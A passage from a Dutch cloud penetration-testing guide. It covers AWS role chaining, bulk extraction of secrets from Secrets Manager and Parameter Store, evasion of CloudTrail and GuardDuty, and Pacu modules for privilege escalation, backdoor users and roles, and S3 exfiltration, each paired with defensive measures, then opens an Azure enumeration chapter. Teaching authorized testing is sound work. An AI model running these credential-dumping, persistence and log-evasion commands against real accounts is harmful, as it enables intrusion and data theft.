    --role-session-name chain-step2)
export AWS_ACCESS_KEY_ID=$(echo $creds_b | jq -r '.Credentials.AccessKeyId')
export AWS_SECRET_ACCESS_KEY=$(echo $creds_b | jq -r '.Credentials.SecretAccessKey')
export AWS_SESSION_TOKEN=$(echo $creds_b | jq -r '.Credentials.SessionToken')

# Verifieer: je bent nu AdminRole
aws sts get-caller-identity

Role chaining werkt als de trust policies het toestaan. Het maximale aantal stappen is beperkt (de session duration wordt korter bij elke stap), maar twee of drie stappen zijn doorgaans voldoende om van beperkte tot volledige rechten te escaleren.

Verdedigingsmaatregel: Gebruik ExternalId bij alle cross-account roles. Beperk trust policies tot specifieke ARNs, niet hele accounts (arn:aws:iam::ACCOUNT:root). Monitor AssumeRole events in CloudTrail. Implementeer session duration limits. Beperk role chaining via IAM-policies.

3.8 Secrets Manager en Parameter Store

3.8.1 De kluis met de deur op een kier

AWS Secrets Manager en Systems Manager Parameter Store zijn de “juiste” manier om credentials op te slaan in AWS. Ze bieden encryptie, rotatie, en access control. Het probleem is niet de dienst zelf – het probleem is hoe organisaties ze gebruiken.

3.8.2 Secrets Manager enumeratie

# Lijst alle secrets (namen, geen waarden)
aws secretsmanager list-secrets \
    --query 'SecretList[*].{Name:Name,Description:Description}' \
    --output table

# Haal de waarde op van een secret
aws secretsmanager get-secret-value --secret-id prod/database/password
aws secretsmanager get-secret-value --secret-id prod/api/key

# Haal alle secrets op (als je genoeg rechten hebt)
for secret in $(aws secretsmanager list-secrets --query 'SecretList[].Name' --output text); do
    echo "=== $secret ==="
    aws secretsmanager get-secret-value --secret-id "$secret" \
        --query 'SecretString' --output text 2>/dev/null
done

# Zoek naar secrets met bepaalde keywords
aws secretsmanager list-secrets \
    | jq '.SecretList[] | select(.Name | test("admin|root|prod|database|api|key"; "i"))'

3.8.3 Parameter Store enumeratie

# Lijst alle parameters
aws ssm describe-parameters \
    --query 'Parameters[*].{Name:Name,Type:Type}' \
    --output table

# Haal de waarde op (inclusief SecureString parameters)
aws ssm get-parameter --name /prod/database/password --with-decryption

# Haal alle parameters op in een pad
aws ssm get-parameters-by-path --path /prod/ --recursive --with-decryption

# Zoek naar parameters met bepaalde patronen
aws ssm describe-parameters \
    | jq '.Parameters[] | select(.Name | test("password|secret|key|token"; "i"))'

# Bulk ophalen
for param in $(aws ssm describe-parameters --query 'Parameters[].Name' --output text); do
    echo "=== $param ==="
    aws ssm get-parameter --name "$param" --with-decryption \
        --query 'Parameter.Value' --output text 2>/dev/null
done

3.8.4 Policy misconfiguraties

Het meest voorkomende probleem: een IAM-policy die secretsmanager:GetSecretValue of ssm:GetParameter toestaat op Resource: "*". Dit geeft de identiteit toegang tot alle secrets of parameters in het account.

// Te brede policy (veelvoorkomend)
{
    "Version": "2012-10-17",
    "Statement": [{
        "Effect": "Allow",
        "Action": [
            "secretsmanager:GetSecretValue",
            "ssm:GetParameter",
            "ssm:GetParametersByPath"
        ],
        "Resource": "*"
    }]
}

// Correcte policy (specifieke resources)
{
    "Version": "2012-10-17",
    "Statement": [{
        "Effect": "Allow",
        "Action": "secretsmanager:GetSecretValue",
        "Resource": "arn:aws:secretsmanager:eu-west-1:123456789012:secret:app/config/*"
    }]
}

Het verschil? De eerste policy laat de identiteit elk secret in het account lezen. De tweede beperkt het tot secrets die beginnen met app/config/. Het verschil in configuratie-effort is verwaarloosbaar. Het verschil in beveiligingsimpact is enorm.

Verdedigingsmaatregel: Beperk GetSecretValue en GetParameter tot specifieke resource ARNs. Gebruik KMS key policies als extra laag van access control. Activeer secrets rotation. Monitor GetSecretValue en GetParameter calls in CloudTrail. Gebruik IAM Access Analyzer om te verifiëren dat secrets niet te breed gedeeld zijn.

3.9 CloudTrail en GuardDuty

3.9.1 De bewakingscamera’s

AWS CloudTrail logt alle API-calls in een AWS-account. Elke AssumeRole, elke GetSecretValue, elke RunInstances – het staat allemaal in CloudTrail. GuardDuty analyseert die logs (plus VPC Flow Logs en DNS-logs) op verdachte activiteiten.

Als pentester moet je weten wat er wordt gelogd, wat niet, en hoe je kunt opereren binnen een omgeving met actieve monitoring.

3.9.2 Wat wordt gelogd?

De standaardconfiguratie logt alleen management events. Dat betekent dat s3:GetObject (het lezen van objecten) standaard niet wordt gelogd. Je kunt in stilte door S3 buckets bladeren zonder een spoor achter te laten in CloudTrail – tenzij de organisatie S3 data events heeft ingeschakeld.

3.9.3 Evasion technieken

Let op: Evasion is onderdeel van een penetratietest. Het doel is om de detectiecapaciteiten van de organisatie te testen. Documenteer wat je hebt gedaan en wat wel of niet werd gedetecteerd.

# Techniek 1: Gebruik regio's waar CloudTrail niet is geconfigureerd
# Veel organisaties configureren CloudTrail alleen in hun primaire regio
# Check welke regio's CloudTrail trails hebben
aws cloudtrail describe-trails \
    | jq '.trailList[] | {Name, HomeRegion, IsMultiRegionTrail}'

# Als IsMultiRegionTrail = false, worden events in andere regio's niet gelogd
# Voer acties uit in een niet-gemonitorde regio:
aws --region ap-northeast-3 s3 ls  # Osaka -- zelden geconfigureerd

# Techniek 2: S3 data events (vaak niet ingeschakeld)
# ListBucket en GetObject worden alleen gelogd als data events zijn ingeschakeld
aws s3 ls s3://target-bucket/
aws s3 cp s3://target-bucket/secret.txt /tmp/

# Techniek 3: Gebruik services die minder worden gemonitord
# Niet alle services genereren CloudTrail events voor alle acties
# Sommige read-only acties in minder populaire services worden niet gelogd

# Techniek 4: Tijdstip
# Voer activiteiten uit tijdens kantooruren, wanneer normaal verkeer het maskeert

3.9.4 GuardDuty detectie

GuardDuty detecteert specifieke patronen. Als pentester is het nuttig om te weten welke:

GuardDuty gebruikt threat intelligence feeds, machine learning en baseline-analyse. Het is effectief tegen ongerichte aanvallen en bekende patronen. Tegen een doelgerichte pentester die vanuit een schoon IP-adres werkt en binnen normale werkuren opereert, is het minder effectief.

Verdedigingsmaatregel: Configureer CloudTrail als multi-region trail. Schakel S3 en Lambda data events in. Gebruik CloudTrail Lake of een SIEM voor long-term analyse. Activeer GuardDuty in alle regio’s. Configureer GuardDuty findings naar SNS/EventBridge voor real-time alerting. Monitor specifiek op iam:CreateUser, iam:AttachUserPolicy, sts:AssumeRole vanuit onverwachte bronnen.

3.10 Pacu framework

3.10.1 Het Zwitserse zakmes voor AWS-pentesting

Pacu is een open-source AWS exploitation framework, vergelijkbaar met Metasploit maar dan specifiek voor AWS. Het is ontwikkeld door Rhino Security Labs en biedt modules voor enumeratie, privilege escalation, persistence, en data exfiltratie.

# Installatie
git clone https://github.com/RhinoSecurityLabs/pacu.git
cd pacu
pip3 install -r requirements.txt

# Start Pacu
python3 cli.py

# Maak een sessie aan
Pacu> set_keys
# Voer je AWS access key en secret key in

# Verifieer je identiteit
Pacu> whoami

3.10.2 Belangrijke modules

Enumeratie modules:

# IAM enumeratie -- de eerste stap
Pacu> run iam__enum_permissions
# Ontdekt alle permissies van je huidige identiteit

Pacu> run iam__enum_users_roles_policies_groups
# Enumereert alle IAM-entiteiten in het account

# EC2 enumeratie
Pacu> run ec2__enum
# Verzamelt informatie over alle EC2-instanties, security groups, etc.

# S3 enumeratie
Pacu> run s3__enum
# Lijst alle S3 buckets en hun configuratie

# Lambda enumeratie
Pacu> run lambda__enum
# Verzamelt Lambda-functies, configuratie, en environment variables

# Secrets
Pacu> run enum__secrets
# Doorzoekt Secrets Manager en Parameter Store

Privilege escalation modules:

# Automatische privesc detectie
Pacu> run iam__privesc_scan
# Analyseert je huidige rechten en identificeert privesc-paden

# Specifieke privesc-technieken
Pacu> run iam__privesc_scan --method CreateNewPolicyVersion
Pacu> run iam__privesc_scan --method AttachUserPolicy
Pacu> run iam__privesc_scan --method PassExistingRoleToNewLambdaThenInvoke

Persistence modules:

# Maak een backdoor user aan
Pacu> run iam__backdoor_users_keys
# Genereert nieuwe access keys voor bestaande users

# Maak een backdoor role aan
Pacu> run iam__backdoor_assume_role
# Maakt een role aan die je vanuit je eigen account kunt aannemen

Data exfiltratie modules:

# Download S3 bucket inhoud
Pacu> run s3__download_bucket --dl-names target-bucket

# Zoek naar credentials in EC2 user-data
Pacu> run ec2__check_user_data

3.10.3 Session management

Pacu bewaart alle verzamelde data in een sessie. Je kunt meerdere sessies beheren voor verschillende engagements:

# Nieuwe sessie aanmaken
Pacu> swap_session
# Of: create_session NAAM

# Bekijk verzamelde data
Pacu> data IAM
Pacu> data S3
Pacu> data EC2

# Exporteer sessiedata
Pacu> export_keys
Pacu> data --all

# Sessie-overzicht
Pacu> sessions

3.10.4 Privesc chains met Pacu

De kracht van Pacu zit in de automatisering van complexe aanvalsketens:

# Stap 1: Wie ben ik?
Pacu> whoami

# Stap 2: Wat mag ik?
Pacu> run iam__enum_permissions

# Stap 3: Kan ik escaleren?
Pacu> run iam__privesc_scan

# Stap 4: Escaleer
# Pacu voert automatisch de gevonden privesc-methode uit

# Stap 5: Verifieer de nieuwe rechten
Pacu> whoami
Pacu> run iam__enum_permissions

# Stap 6: Enumereer met de nieuwe rechten
Pacu> run s3__enum
Pacu> run ec2__enum
Pacu> run lambda__enum
Pacu> run enum__secrets

IB Tip: Documenteer elke stap die Pacu uitvoert in de IB Notes-functie. Pacu genereert veel CloudTrail-events; noteer welke modules je hebt gedraaid en op welk tijdstip, zodat je in je rapport kunt aangeven welke detectie-events de organisatie had moeten opvangen.

3.11 Verdedigingsmaatregelen: een samenhangend beeld

De verdediging van een AWS-omgeving rust op vier pijlers:

3.11.1 Service Control Policies (SCPs)

SCPs zijn de nucleaire optie van AWS-beveiliging. Ze worden toegepast op accountniveau in AWS Organizations en overschrijven alle andere permissies. Als een SCP iets verbiedt, kan niemand het doen – zelfs niet de root user van het account.

// SCP: voorkom dat CloudTrail wordt uitgeschakeld
{
    "Version": "2012-10-17",
    "Statement": [{
        "Effect": "Deny",
        "Action": [
            "cloudtrail:StopLogging",
            "cloudtrail:DeleteTrail"
        ],
        "Resource": "*"
    }]
}

// SCP: beperk activiteiten tot specifieke regio's
{
    "Version": "2012-10-17",
    "Statement": [{
        "Effect": "Deny",
        "NotAction": [
            "iam:*",
            "sts:*",
            "s3:*",
            "cloudfront:*"
        ],
        "Resource": "*",
        "Condition": {
            "StringNotEquals": {
                "aws:RequestedRegion": [
                    "eu-west-1",
                    "eu-central-1"
                ]
            }
        }
    }]
}

3.11.2 Permission Boundaries

Permission Boundaries zijn IAM-policies die een plafond zetten op de rechten die een user of role kan hebben. Zelfs als een user AdministratorAccess heeft, beperkt de Permission Boundary wat ze daadwerkelijk kunnen doen.

// Permission Boundary: maximaal S3 en Lambda
{
    "Version": "2012-10-17",
    "Statement": [{
        "Effect": "Allow",
        "Action": [
            "s3:*",
            "lambda:*",
            "logs:*"
        ],
        "Resource": "*"
    }]
}
// Zelfs met AdministratorAccess kan deze user geen EC2, IAM, etc. gebruiken

3.11.3 IMDSv2 enforcement

# Forceer IMDSv2 voor alle nieuwe EC2-instanties
aws ec2 modify-instance-metadata-options \
    --instance-id i-0abcdef1234567890 \
    --http-tokens required \
    --http-put-response-hop-limit 1
# http-tokens required = alleen IMDSv2
# http-put-response-hop-limit 1 = blokkeert container-naar-metadata requests

3.11.4 GuardDuty en monitoring

# Activeer GuardDuty in alle regio's
for region in $(aws ec2 describe-regions --query 'Regions[].RegionName' --output text); do
    aws guardduty create-detector --enable --region "$region" 2>/dev/null
    echo "GuardDuty enabled in $region"
done

3.12 De ongemakkelijke waarheid over AWS-beveiliging

AWS biedt alle tools die je nodig hebt om een veilige omgeving op te bouwen. SCPs, Permission Boundaries, IMDSv2, GuardDuty, CloudTrail, Config Rules, Access Analyzer, IAM Access Advisor – het arsenaal is indrukwekkend. Het probleem is niet het gereedschap. Het probleem is de vakman.

De gemiddelde AWS-omgeving lijdt niet aan een gebrek aan beveiligingsopties. Het lijdt aan een gebrek aan discipline. Iemand heeft AdministratorAccess gekoppeld aan een development-user “omdat het anders niet werkte.” Iemand heeft IMDSv1 laten staan “omdat de applicatie dat nodig had.” Iemand heeft een S3 bucket publiekelijk gemaakt “voor testing” en het nooit teruggedraaid.

Het patroon is altijd hetzelfde. De technologie is er. Het beleid is er. De procedure is er. Maar de menselijke neiging om de makkelijkste weg te kiezen, wint het elke keer van het beveiligingsbeleid.

De enige verdediging die werkelijk werkt, is automatisering. Niet beleid dat op papier staat, maar beleid dat in code staat. SCPs die voorkomen dat CloudTrail wordt uitgeschakeld. AWS Config rules die automatisch detecteren wanneer een S3 bucket publiekelijk wordt. Permission Boundaries die voorkomen dat developers hun eigen rechten kunnen escaleren.

Automatiseer het. Want mensen vergeten. Code niet.

3.13 Referentietabel

Volgende hoofdstuk: Hoofdstuk 4 – Azure Aanvallen

Azure en Entra ID

“De cloud is andermans computer. Active Directory in de cloud is andermans computer met het telefoonboek van je hele bedrijf erop. Wat kan er misgaan?”

4.1 Azure Architectuur voor Pentesters

4.1.1 De Geologie van de Cloud

Als je Active Directory on-premises kunt vergelijken met een middeleeuws kasteel — muren, grachten, een ophaalbrug, en een bewaker die de helft van de tijd slaapt — dan is Azure een heel ander beest. Azure is een stad. Een stad zonder muren, zonder grachten, met honderden ingangen, en met een bewakingssysteem dat volledig afhankelijk is van pasjes, camera’s en beleidsregels die niemand volledig heeft gelezen.

En net als bij elke stad geldt: als je de plattegrond kent, kun je overal komen.

De Azure-architectuur is hierarchisch opgebouwd, van boven naar beneden. Voor een pentester is het begrijpen van die hierarchie niet optioneel — het is de basis van alles wat volgt. Als je niet weet waar je bent in de boom, weet je niet waar je heen kunt.

4.1.2 De Hierarchie

┌──────────────────────────────────────────────────────────────────┐
│                     Azure AD Tenant (Entra ID)                    │
│                     (identiteit en authenticatie)                  │
│                                                                   │
│   ┌────────────────────────────────────────────────────────────┐  │
│   │               Root Management Group                         │  │
│   │                                                             │  │
│   │   ┌──────────────────┐    ┌──────────────────┐             │  │
│   │   │ Management Group │    │ Management Group │             │  │
│   │   │  "Productie"     │    │  "Development"   │             │  │
│   │   │                  │    │                  │             │  │
│   │   │ ┌──────────────┐ │    │ ┌──────────────┐ │             │  │
│   │   │ │ Subscription │ │    │ │ Subscription │ │             │  │
│   │   │ │ "Prod-001"   │ │    │ │ "Dev-001"    │ │             │  │
│   │   │ │              │ │    │ │              │ │             │  │
│   │   │ │ ┌──────────┐ │ │    │ │ ┌──────────┐ │ │             │  │
│   │   │ │ │ Resource │ │ │    │ │ │ Resource │ │ │             │  │
│   │   │ │ │ Group    │ │ │    │ │ │ Group    │ │ │             │  │
│   │   │ │ └──────────┘ │ │    │ │ └──────────┘ │ │             │  │
│   │   │ └──────────────┘ │    │ └──────────────┘ │             │  │
│   │   └──────────────────┘    └──────────────────┘             │  │
│   └────────────────────────────────────────────────────────────┘  │
└──────────────────────────────────────────────────────────────────┘

De lagen, van boven naar beneden:

Cruciaal voor pentesters: rechten erven naar beneden. Wie Owner is op een Management Group, is impliciet Owner op alle subscriptions, resource groups en resources daaronder. Dit is de basis van privilege escalation in Azure — als je ergens hoog in de boom rechten kunt krijgen, druppelt de macht vanzelf naar beneden.

# Huidige context bekijken
az account show

# Alle beschikbare subscriptions
az account list --output table

# Alle management groups (vereist leesrechten)
az account management-group list --output table

# Van subscription wisselen
az account set --subscription "Subscription-naam-of-ID"

IB Tip: Gebruik het Commands-paneel en zoek op enum_ voor Azure-enumeratiecommando’s. De az account list output is je eerste oriëntatiepunt — het vertelt je welke subscriptions je kunt bereiken en met welke identity.

4.1.3 RBAC versus Entra ID Roles

Hier wordt het verwarrend, en het is precies het soort verwarring waar aanvallers van profiteren. Azure heeft twee volledig gescheiden role-systemen:

1. Azure RBAC (Resource-level)

Azure Role-Based Access Control beheert wie wat mag doen met Azure resources — virtuele machines, databases, storage accounts. Het is het sleutelbeheer van de gebouwen.

Ingebouwde RBAC-rollen:

# Eigen RBAC-rollen bekijken
az role assignment list --assignee "$(az ad signed-in-user show --query id -o tsv)" \
    --all --output table

# Alle role assignments in een subscription
az role assignment list --all --output table

# Wie is Owner van de subscription?
az role assignment list --role "Owner" --all --output table

2. Entra ID Roles (Directory-level)

Entra ID-rollen beheersen wie wat mag doen met identiteiten — users aanmaken, groups beheren, app registrations configureren. Het is het bevolkingsregister.